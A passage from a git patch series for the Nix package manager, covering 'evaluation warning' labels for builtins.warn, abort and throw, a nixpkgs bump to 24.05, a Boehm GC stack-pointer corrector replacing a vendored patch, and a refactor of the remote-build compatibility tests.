         auto s = state.coerceToString(pos, *args[0], context,
                 "while evaluating the error message passed to builtins.abort").toOwned();
-        state.error<Abort>("evaluation aborted with the following error message: '%1%'", s).debugThrow();
+        state.error<Abort>("evaluation aborted with the following error message: '%1%'", s).setIsFromExpr().debugThrow();
     }
 });
 
@@ -825,7 +825,7 @@ static RegisterPrimOp primop_throw({
       NixStringContext context;
       auto s = state.coerceToString(pos, *args[0], context,
               "while evaluating the error message passed to builtin.throw").toOwned();
-      state.error<ThrownError>(s).debugThrow();
+      state.error<ThrownError>(s).setIsFromExpr().debugThrow();
     }
 });
 
@@ -1052,12 +1052,13 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value
         msg.atPos(state.positions[pos]);
         auto info = msg.info();
         info.level = lvlWarn;
+        info.isFromExpr = true;
         logWarning(info);
     }
 
     if (evalSettings.builtinsAbortOnWarn) {
         // Not an EvalError or subclass, which would cause the error to be stored in the eval cache.
-        state.error<Error>("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow();
+        state.error<EvalBaseError>("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow();
     }
     if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) {
         state.runDebugRepl(nullptr);
@@ -1080,6 +1081,11 @@ static RegisterPrimOp primop_warn({
       option is set to `true` and the `--debugger` flag is given, the
       interactive debugger will be started when `warn` is called (like
       [`break`](@docroot@/language/builtins.md#builtins-break)).
+
+      If the
+      [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn)
+      option is set, the evaluation will be aborted after the warning is printed.
+      This is useful to reveal the stack trace of the warning, when the context is non-interactive and a debugger can not be launched.
     )",
     .fun = prim_warn,
 });
diff --git a/src/libutil/error.cc b/src/libutil/error.cc
index fd4f4efd187..e01f064484c 100644
--- a/src/libutil/error.cc
+++ b/src/libutil/error.cc
@@ -240,7 +240,10 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s
             break;
         }
         case Verbosity::lvlWarn: {
-            prefix = ANSI_WARNING "warning";
+            if (einfo.isFromExpr)
+                prefix = ANSI_WARNING "evaluation warning";
+            else
+                prefix = ANSI_WARNING "warning";
             break;
         }
         case Verbosity::lvlInfo: {
diff --git a/src/libutil/error.hh b/src/libutil/error.hh
index 87d181c9441..26900001621 100644
--- a/src/libutil/error.hh
+++ b/src/libutil/error.hh
@@ -89,6 +89,11 @@ struct ErrorInfo {
     HintFmt msg;
     std::shared_ptr<Pos> pos;
     std::list<Trace> traces;
+    /**
+     * Some messages are generated directly by expressions; notably `builtins.warn`, `abort`, `throw`.
+     * These may be rendered differently, so that users can distinguish them.
+     */
+    bool isFromExpr = false;
 
     /**
      * Exit status.

From 3a0b0af2ace69bb98ba1f86e1da4ec8f13c31840 Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Mon, 3 Jun 2024 15:30:35 +0200
Subject: [PATCH 247/528] Fix typo in doc/manual/rl-next/builtins-warn.md

Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 doc/manual/rl-next/builtins-warn.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md
index 0f7a6ebba80..f805e1610ba 100644
--- a/doc/manual/rl-next/builtins-warn.md
+++ b/doc/manual/rl-next/builtins-warn.md
@@ -4,7 +4,7 @@ issues: 306026
 prs: 10592
 ---
 
-`builtins.warn` behaves like `builtins.trace "warning: ${msg}`, has an accurate log level, and is controlled by the options
+`builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options
 [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace),
 [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and
 [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn).

From 8df206be541045f5ca340f909db1c43ec088f4a7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 15:38:50 +0200
Subject: [PATCH 248/528] Update nixpkgs ref to 24.05

---
 flake.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/flake.nix b/flake.nix
index 6fb159d6e54..a7bedd81984 100644
--- a/flake.nix
+++ b/flake.nix
@@ -3,7 +3,7 @@
 
   # TODO switch to nixos-23.11-small
   #      https://nixpk.gs/pr-tracker.html?pr=291954
-  inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-23.11";
+  inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05";
   inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2";
   inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; };
   inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; };

From 2edcdf85087edd2f2b4c7f6d73fa6302a655506c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 15:39:09 +0200
Subject: [PATCH 249/528] flake.lock: Update
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Flake lock file updates:

• Updated input 'nixpkgs':
    'github:NixOS/nixpkgs/b550fe4b4776908ac2a861124307045f8e717c8e' (2024-02-28)
  → 'github:NixOS/nixpkgs/88dca77be222aedd1f47d2cf0942dffefee76216' (2024-06-03)
---
 flake.lock | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/flake.lock b/flake.lock
index 409463ad8c3..7770484a687 100644
--- a/flake.lock
+++ b/flake.lock
@@ -69,16 +69,16 @@
     },
     "nixpkgs": {
       "locked": {
-        "lastModified": 1709083642,
-        "narHash": "sha256-7kkJQd4rZ+vFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo=",
+        "lastModified": 1717413331,
+        "narHash": "sha256-oxsqQB/UwJNCTWUpndQgoz14731mgaWg/zYHrVwGoco=",
         "owner": "NixOS",
         "repo": "nixpkgs",
-        "rev": "b550fe4b4776908ac2a861124307045f8e717c8e",
+        "rev": "88dca77be222aedd1f47d2cf0942dffefee76216",
         "type": "github"
       },
       "original": {
         "owner": "NixOS",
-        "ref": "release-23.11",
+        "ref": "release-24.05",
         "repo": "nixpkgs",
         "type": "github"
       }

From 2477e4e3b84b23b091befa1869a1fc6186fe74dc Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 27 Feb 2024 19:42:41 +0100
Subject: [PATCH 250/528] libexpr: Use GC_set_sp_corrector instead of patch

Manually tested by printing to stderr in both branches (sp in os
stack, or not), and triggering a GC in a filterSource function,
e.g.:

    let
      generateTree = n: if n == 0 then "ha" else { left = generateTree (n - 1); right = generateTree (n - 1); };
    in
      builtins.deepSeq (generateTree 18) ...

Note that the darwin still uses the strategy of disabling GC, despite
having an implementation that compiles. The proper solution will be
enabled and tested later.
---
 configure.ac                                  |  2 +-
 .../boehmgc-coroutine-sp-fallback.diff        | 99 -------------------
 flake.nix                                     |  2 -
 src/libexpr/eval.cc                           | 66 +++++++++++--
 src/libexpr/local.mk                          |  4 +-
 5 files changed, 62 insertions(+), 111 deletions(-)
 delete mode 100644 dep-patches/boehmgc-coroutine-sp-fallback.diff

diff --git a/configure.ac b/configure.ac
index 90a6d45d594..0a015fe486a 100644
--- a/configure.ac
+++ b/configure.ac
@@ -366,7 +366,7 @@ fi
 AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]),
   gc=$enableval, gc=yes)
 if test "$gc" = yes; then
-  PKG_CHECK_MODULES([BDW_GC], [bdw-gc])
+  PKG_CHECK_MODULES([BDW_GC], [bdw-gc >= 8.2.4])
   CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS"
   AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.])
 fi
diff --git a/dep-patches/boehmgc-coroutine-sp-fallback.diff b/dep-patches/boehmgc-coroutine-sp-fallback.diff
deleted file mode 100644
index 2afbe96712b..00000000000
--- a/dep-patches/boehmgc-coroutine-sp-fallback.diff
+++ /dev/null
@@ -1,99 +0,0 @@
-diff --git a/darwin_stop_world.c b/darwin_stop_world.c
-index 0468aaec..b348d869 100644
---- a/darwin_stop_world.c
-+++ b/darwin_stop_world.c
-@@ -356,6 +356,7 @@ GC_INNER void GC_push_all_stacks(void)
-   int nthreads = 0;
-   word total_size = 0;
-   mach_msg_type_number_t listcount = (mach_msg_type_number_t)THREAD_TABLE_SZ;
-+  size_t stack_limit;
-   if (!EXPECT(GC_thr_initialized, TRUE))
-     GC_thr_init();
- 
-@@ -411,6 +412,19 @@ GC_INNER void GC_push_all_stacks(void)
-             GC_push_all_stack_sections(lo, hi, p->traced_stack_sect);
-           }
-           if (altstack_lo) {
-+            // When a thread goes into a coroutine, we lose its original sp until
-+            // control flow returns to the thread.
-+            // While in the coroutine, the sp points outside the thread stack,
-+            // so we can detect this and push the entire thread stack instead,
-+            // as an approximation.
-+            // We assume that the coroutine has similarly added its entire stack.
-+            // This could be made accurate by cooperating with the application
-+            // via new functions and/or callbacks.
-+            stack_limit = pthread_get_stacksize_np(p->id);
-+            if (altstack_lo >= altstack_hi || altstack_lo < altstack_hi - stack_limit) { // sp outside stack
-+              altstack_lo = altstack_hi - stack_limit;
-+            }
-+
-             total_size += altstack_hi - altstack_lo;
-             GC_push_all_stack(altstack_lo, altstack_hi);
-           }
-diff --git a/include/gc.h b/include/gc.h
-index edab6c22..f2c61282 100644
---- a/include/gc.h
-+++ b/include/gc.h
-@@ -2172,6 +2172,11 @@ GC_API void GC_CALL GC_win32_free_heap(void);
-         (*GC_amiga_allocwrapper_do)(a,GC_malloc_atomic_ignore_off_page)
- #endif /* _AMIGA && !GC_AMIGA_MAKINGLIB */
- 
-+#if !__APPLE__
-+/* Patch doesn't work on apple */
-+#define NIX_BOEHM_PATCH_VERSION 1
-+#endif
-+
- #ifdef __cplusplus
-   } /* extern "C" */
- #endif
-diff --git a/pthread_stop_world.c b/pthread_stop_world.c
-index b5d71e62..aed7b0bf 100644
---- a/pthread_stop_world.c
-+++ b/pthread_stop_world.c
-@@ -768,6 +768,8 @@ STATIC void GC_restart_handler(int sig)
- /* world is stopped.  Should not fail if it isn't.                      */
- GC_INNER void GC_push_all_stacks(void)
- {
-+    size_t stack_limit;
-+    pthread_attr_t pattr;
-     GC_bool found_me = FALSE;
-     size_t nthreads = 0;
-     int i;
-@@ -851,6 +853,37 @@ GC_INNER void GC_push_all_stacks(void)
-           hi = p->altstack + p->altstack_size;
-           /* FIXME: Need to scan the normal stack too, but how ? */
-           /* FIXME: Assume stack grows down */
-+        } else {
-+#ifdef HAVE_PTHREAD_ATTR_GET_NP
-+          if (!pthread_attr_init(&pattr)
-+              || !pthread_attr_get_np(p->id, &pattr))
-+#else /* HAVE_PTHREAD_GETATTR_NP */
-+          if (pthread_getattr_np(p->id, &pattr))
-+#endif
-+          {
-+            ABORT("GC_push_all_stacks: pthread_getattr_np failed!");
-+          }
-+          if (pthread_attr_getstacksize(&pattr, &stack_limit)) {
-+            ABORT("GC_push_all_stacks: pthread_attr_getstacksize failed!");
-+          }
-+          if (pthread_attr_destroy(&pattr)) {
-+            ABORT("GC_push_all_stacks: pthread_attr_destroy failed!");
-+          }
-+          // When a thread goes into a coroutine, we lose its original sp until
-+          // control flow returns to the thread.
-+          // While in the coroutine, the sp points outside the thread stack,
-+          // so we can detect this and push the entire thread stack instead,
-+          // as an approximation.
-+          // We assume that the coroutine has similarly added its entire stack.
-+          // This could be made accurate by cooperating with the application
-+          // via new functions and/or callbacks.
-+          #ifndef STACK_GROWS_UP
-+            if (lo >= hi || lo < hi - stack_limit) { // sp outside stack
-+              lo = hi - stack_limit;
-+            }
-+          #else
-+          #error "STACK_GROWS_UP not supported in boost_coroutine2 (as of june 2021), so we don't support it in Nix."
-+          #endif
-         }
-         GC_push_all_stack_sections(lo, hi, traced_stack_sect);
- #       ifdef STACK_GROWS_UP
diff --git a/flake.nix b/flake.nix
index a7bedd81984..7a07a70ba45 100644
--- a/flake.nix
+++ b/flake.nix
@@ -150,8 +150,6 @@
             enableLargeConfig = true;
           }).overrideAttrs(o: {
             patches = (o.patches or []) ++ [
-              ./dep-patches/boehmgc-coroutine-sp-fallback.diff
-
               # https://github.com/ivmai/bdwgc/pull/586
               ./dep-patches/boehmgc-traceable_allocator-public.diff
             ];
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index c1dadeee087..30521b07231 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -31,6 +31,7 @@
 #include <sstream>
 #include <cstring>
 #include <optional>
+#include <pthread.h>
 #include <unistd.h>
 #include <sys/time.h>
 #include <fstream>
@@ -250,6 +251,50 @@ class BoehmGCStackAllocator : public StackAllocator {
 
 static BoehmGCStackAllocator boehmGCStackAllocator;
 
+/**
+ * When a thread goes into a coroutine, we lose its original sp until
+ * control flow returns to the thread.
+ * While in the coroutine, the sp points outside the thread stack,
+ * so we can detect this and push the entire thread stack instead,
+ * as an approximation.
+ * The coroutine's stack is covered by `BoehmGCStackAllocator`.
+ * This is not an optimal solution, because the garbage is scanned when a
+ * coroutine is active, for both the coroutine and the original thread stack.
+ * However, the implementation is quite lean, and usually we don't have active
+ * coroutines during evaluation, so this is acceptable.
+ */
+void fixupBoehmStackPointer(void ** sp_ptr, void * pthread_id) {
+    void *& sp = *sp_ptr;
+    pthread_attr_t pattr;
+    size_t osStackSize;
+    void * osStackLow;
+    void * osStackBase;
+
+    #ifdef __APPLE__
+    osStackSize = pthread_get_stacksize_np((pthread_t)pthread_id);
+    osStackLow = pthread_get_stackaddr_np((pthread_t)pthread_id);
+    #else
+    if (pthread_attr_init(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_init failed");
+    }
+    if (pthread_getattr_np((pthread_t)pthread_id, &pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_getattr_np failed");
+    }
+    if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed");
+    }
+    if (pthread_attr_destroy(&pattr)) {
+        throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed");
+    }
+    #endif
+    osStackBase = (char *)osStackLow + osStackSize;
+    // NOTE: We assume the stack grows down, as it does on all architectures we support.
+    //       Architectures that grow the stack up are rare.
+    if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack
+        sp = osStackBase;
+    }
+}
+
 #endif
 
 
@@ -303,16 +348,21 @@ void initGC()
 
     GC_set_oom_fn(oomHandler);
 
-    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
+    // TODO: Comment suggests an implementation that works on darwin and windows
+    //       https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196
+    #ifndef __APPLE__
+    GC_set_sp_corrector(&fixupBoehmStackPointer);
+    #endif
 
+    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
 
-#if NIX_BOEHM_PATCH_VERSION != 1
-    printTalkative("Unpatched BoehmGC, disabling GC inside coroutines");
-    /* Used to disable GC when entering coroutines on macOS */
-    create_coro_gc_hook = []() -> std::shared_ptr<void> {
-        return std::make_shared<BoehmDisableGC>();
-    };
-#endif
+    if (!GC_get_sp_corrector()) {
+        printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines");
+        /* Used to disable GC when entering coroutines on macOS */
+        create_coro_gc_hook = []() -> std::shared_ptr<void> {
+            return std::make_shared<BoehmDisableGC>();
+        };
+    }
 
     /* Set the initial heap size to something fairly big (25% of
        physical RAM, up to a maximum of 384 MiB) so that in most cases
diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk
index ecadc5e5d53..d128064a525 100644
--- a/src/libexpr/local.mk
+++ b/src/libexpr/local.mk
@@ -15,7 +15,9 @@ libexpr_SOURCES := \
 
 INCLUDE_libexpr := -I $(d)
 
-libexpr_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr)
+libexpr_CXXFLAGS += \
+	$(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) \
+	-DGC_THREADS
 
 libexpr_LIBS = libutil libstore libfetchers
 

From b311f51f845fc51f51487ebcfff55848d38f3be7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 15:52:13 +0200
Subject: [PATCH 251/528] boehmgc-nix: Remove released traceable_allocator
 patch

---
 flake.nix | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/flake.nix b/flake.nix
index 7a07a70ba45..896a2481c5e 100644
--- a/flake.nix
+++ b/flake.nix
@@ -146,14 +146,9 @@
               ++ [ "-DUSE_SSH=exec" ];
           });
 
-          boehmgc-nix = (final.boehmgc.override {
+          boehmgc-nix = final.boehmgc.override {
             enableLargeConfig = true;
-          }).overrideAttrs(o: {
-            patches = (o.patches or []) ++ [
-              # https://github.com/ivmai/bdwgc/pull/586
-              ./dep-patches/boehmgc-traceable_allocator-public.diff
-            ];
-          });
+          };
 
           libseccomp-nix = final.libseccomp.overrideAttrs (_: rec {
             version = "2.5.5";

From cc6f31525253b73e4776b5f733e0950e1706d546 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Tue, 5 Mar 2024 16:39:06 +0100
Subject: [PATCH 252/528] nix: Disable GC during coroutine when bdwgc < 8.4

This re-enables support for older bwdgc versions without complicating
the code too much.
Coroutines generally only interfere with GC during source filtering,
so it's not too bad of a regression on older bdwgc.
This seems preferable over conditional compilation to enable the patch
etc; we've already spent a lot of complexity budget on this GC-coroutine
interaction...
---
 configure.ac        |  2 +-
 src/libexpr/eval.cc | 14 +++++++++-----
 2 files changed, 10 insertions(+), 6 deletions(-)

diff --git a/configure.ac b/configure.ac
index 0a015fe486a..90a6d45d594 100644
--- a/configure.ac
+++ b/configure.ac
@@ -366,7 +366,7 @@ fi
 AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]),
   gc=$enableval, gc=yes)
 if test "$gc" = yes; then
-  PKG_CHECK_MODULES([BDW_GC], [bdw-gc >= 8.2.4])
+  PKG_CHECK_MODULES([BDW_GC], [bdw-gc])
   CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS"
   AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.])
 fi
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 30521b07231..1eb60a1b851 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -348,13 +348,13 @@ void initGC()
 
     GC_set_oom_fn(oomHandler);
 
-    // TODO: Comment suggests an implementation that works on darwin and windows
+    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
+
+    // TODO: Remove __APPLE__ condition.
+    //       Comment suggests an implementation that works on darwin and windows
     //       https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196
-    #ifndef __APPLE__
+    #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 4 && !defined(__APPLE__)
     GC_set_sp_corrector(&fixupBoehmStackPointer);
-    #endif
-
-    StackAllocator::defaultAllocator = &boehmGCStackAllocator;
 
     if (!GC_get_sp_corrector()) {
         printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines");
@@ -363,6 +363,10 @@ void initGC()
             return std::make_shared<BoehmDisableGC>();
         };
     }
+    #else
+    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bwd-gc to 8.4 or later."
+    #endif
+
 
     /* Set the initial heap size to something fairly big (25% of
        physical RAM, up to a maximum of 384 MiB) so that in most cases

From f01f65b615795d3833dbb00768ce93fd701facde Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 16:15:49 +0200
Subject: [PATCH 253/528] Fix nixpkgsLibTests

---
 build/hydra.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index 595aad324ec..fe9ca936c82 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -151,10 +151,11 @@ in
 
     nixpkgsLibTests =
       forAllSystems (system:
-        import (nixpkgs + "/lib/tests/release.nix")
+        import (nixpkgs + "/lib/tests/test-with-nix.nix")
           {
+            lib = nixpkgsFor.${system}.native.lib;
+            nix = self.packages.${system}.nix;
             pkgs = nixpkgsFor.${system}.native;
-            nixVersions = [ self.packages.${system}.nix ];
           }
       );
   };

From 60675251620ed73d245fe633db94cde6742fa4d9 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 16:35:45 +0200
Subject: [PATCH 254/528] hydraJobs.installTests.<s>.againstCurrent{Unstable ->
 Latest}

Nixpkgs has reshuffled its Nix versions.
---
 build/hydra.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index fe9ca936c82..84878fb5ed1 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -170,10 +170,10 @@ in
     pkgs.runCommand "install-tests"
       {
         againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix;
-        againstCurrentUnstable =
+        againstCurrentLatest =
           # FIXME: temporarily disable this on macOS because of #3605.
           if system == "x86_64-linux"
-          then testNixVersions pkgs pkgs.nix pkgs.nixUnstable
+          then testNixVersions pkgs pkgs.nix pkgs.nixVersions.latest
           else null;
         # Disabled because the latest stable version doesn't handle
         # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work

From 449e4b9232a601b7cbc04a03866c278ae5a0f51d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 16:42:11 +0200
Subject: [PATCH 255/528] Change checkOverrideNixVersion for NixOS 24.05

---
 tests/nixos/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 4edf40c16b8..4267db945c7 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -33,7 +33,9 @@ let
   checkOverrideNixVersion = { pkgs, lib, ... }: {
     # pkgs.nix: The new Nix in this repo
     # We disallow it, to make sure we don't accidentally use it.
-    system.forbiddenDependenciesRegex = lib.strings.escapeRegex "nix-${pkgs.nix.version}";
+    system.forbiddenDependenciesRegexes = [
+      (lib.strings.escapeRegex "nix-${pkgs.nix.version}")
+    ];
   };
 in
 

From 6558025e776d89f687c3c25adc5ae01870622db3 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 17:00:48 +0200
Subject: [PATCH 256/528] Fix eval remoteBuilds_*_2_13

---
 build/hydra.nix         |  2 +-
 flake.lock              | 17 +++++++++++++++++
 flake.nix               |  1 +
 tests/nixos/default.nix | 14 +++++++++++---
 4 files changed, 30 insertions(+), 4 deletions(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index 84878fb5ed1..857b7f1f06d 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -129,7 +129,7 @@ in
   };
 
   # System tests.
-  tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // {
+  tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // {
 
     # Make sure that nix-env still produces the exact same result
     # on a particular version of Nixpkgs.
diff --git a/flake.lock b/flake.lock
index 7770484a687..ee976a3d9f7 100644
--- a/flake.lock
+++ b/flake.lock
@@ -83,6 +83,22 @@
         "type": "github"
       }
     },
+    "nixpkgs-23-11": {
+      "locked": {
+        "lastModified": 1717159533,
+        "narHash": "sha256-oamiKNfr2MS6yH64rUn99mIZjc45nGJlj9eGth/3Xuw=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "a62e6edd6d5e1fa0329b8653c801147986f8d446",
+        "type": "github"
+      }
+    },
     "nixpkgs-regression": {
       "locked": {
         "lastModified": 1643052045,
@@ -131,6 +147,7 @@
         "flake-parts": "flake-parts",
         "libgit2": "libgit2",
         "nixpkgs": "nixpkgs",
+        "nixpkgs-23-11": "nixpkgs-23-11",
         "nixpkgs-regression": "nixpkgs-regression",
         "pre-commit-hooks": "pre-commit-hooks"
       }
diff --git a/flake.nix b/flake.nix
index 896a2481c5e..b07e0568434 100644
--- a/flake.nix
+++ b/flake.nix
@@ -5,6 +5,7 @@
   #      https://nixpk.gs/pr-tracker.html?pr=291954
   inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05";
   inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2";
+  inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446";
   inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; };
   inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; };
 
diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 4267db945c7..303fbc5628b 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -1,4 +1,4 @@
-{ lib, nixpkgs, nixpkgsFor }:
+{ lib, nixpkgs, nixpkgsFor, self }:
 
 let
 
@@ -60,7 +60,11 @@ in
     imports = [ ./remote-builds.nix ];
     builders.config = { lib, pkgs, ... }: {
       imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
+      nix.package = lib.mkForce (
+        self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: {
+          meta = o.meta // { knownVulnerabilities = []; };
+        })
+      );
     };
   });
 
@@ -82,7 +86,11 @@ in
     imports = [ ./remote-builds.nix ];
     nodes.client = { lib, pkgs, ... }: {
       imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_13;
+      nix.package = lib.mkForce (
+        self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: {
+          meta = o.meta // { knownVulnerabilities = []; };
+        })
+      );
     };
   });
 

From efc2508e8bccc0ef990d0b4d48e6d452e1cc9d37 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 3 Jun 2024 17:26:16 +0200
Subject: [PATCH 257/528] Refactor hydraJobs.tests.remoteBuilds_*_2_18

---
 tests/nixos/default.nix | 143 ++++++++++++++--------------------------
 1 file changed, 49 insertions(+), 94 deletions(-)

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 303fbc5628b..78f91ae1b47 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -37,115 +37,70 @@ let
       (lib.strings.escapeRegex "nix-${pkgs.nix.version}")
     ];
   };
-in
-
-{
-  authorization = runNixOSTestFor "x86_64-linux" ./authorization.nix;
-
-  remoteBuilds = runNixOSTestFor "x86_64-linux" ./remote-builds.nix;
-
-  # Test our Nix as a client against remotes that are older
 
-  remoteBuilds_remote_2_3 = runNixOSTestFor "x86_64-linux" {
-    name = "remoteBuilds_remote_2_3";
-    imports = [ ./remote-builds.nix ];
-    builders.config = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
-    };
+  otherNixes.nix_2_3.setNixPackage = { lib, pkgs, ... }: {
+    imports = [ checkOverrideNixVersion ];
+    nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
   };
 
-  remoteBuilds_remote_2_13 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
-    name = "remoteBuilds_remote_2_13";
-    imports = [ ./remote-builds.nix ];
-    builders.config = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce (
-        self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: {
-          meta = o.meta // { knownVulnerabilities = []; };
-        })
-      );
-    };
-  });
-
-  # TODO: (nixpkgs update) remoteBuilds_remote_2_18 = ...
-
-  # Test our Nix as a builder for clients that are older
+  otherNixes.nix_2_13.setNixPackage = { lib, pkgs, ... }: {
+    imports = [ checkOverrideNixVersion ];
+    nix.package = lib.mkForce (
+      self.inputs.nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs (o: {
+        meta = o.meta // { knownVulnerabilities = []; };
+      })
+    );
+  };
 
-  remoteBuilds_local_2_3 = runNixOSTestFor "x86_64-linux" ({ lib, pkgs, ... }: {
-    name = "remoteBuilds_local_2_3";
-    imports = [ ./remote-builds.nix ];
-    nodes.client = { lib, pkgs, ... }: {
-      imports = [ checkOverrideNixVersion ];
-      nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
-    };
-  });
-
